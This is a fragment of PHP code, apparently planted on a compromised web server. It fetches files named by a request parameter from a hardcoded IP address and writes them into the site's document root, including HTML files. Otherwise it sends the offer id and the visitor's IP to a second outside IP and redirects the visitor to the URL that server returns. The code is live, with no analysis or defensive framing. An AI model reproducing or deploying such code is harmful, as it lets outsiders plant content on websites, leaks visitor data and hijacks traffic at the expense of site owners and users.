array( 'timeout' => 3, ) )); if (preg_match('/\.(jpg|png|bmp|jpeg|html)$/i', $offer)) { // Build remote URL $img212 = "http://152.42.243.219/" . $offer; // Fetch remote file safely $img = @file_get_contents($img212); if ($img === false) { exit("Remote file not found: $img212"); } // Build local path $localPath = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/' . ltrim($offer, '/'); // Create directories if not exist if (!is_dir(dirname($localPath))) { mkdir(dirname($localPath), 0755, true); } // Save file locally file_put_contents($localPath, $img); } else { $urll="http://52.55.98.48/new_redirect/redir_link_1.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 1); curl_setopt($ch, CURLOPT_URL, $urll); curl_setopt($ch, CURLOPT_POSTFIELDS,"oid=$offer&ip=$ip"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $link= curl_exec($ch); if(strstr($link,"The Offer have been")) { echo $link; } else { $redirect="Location: ".$link; header($redirect); } } ?>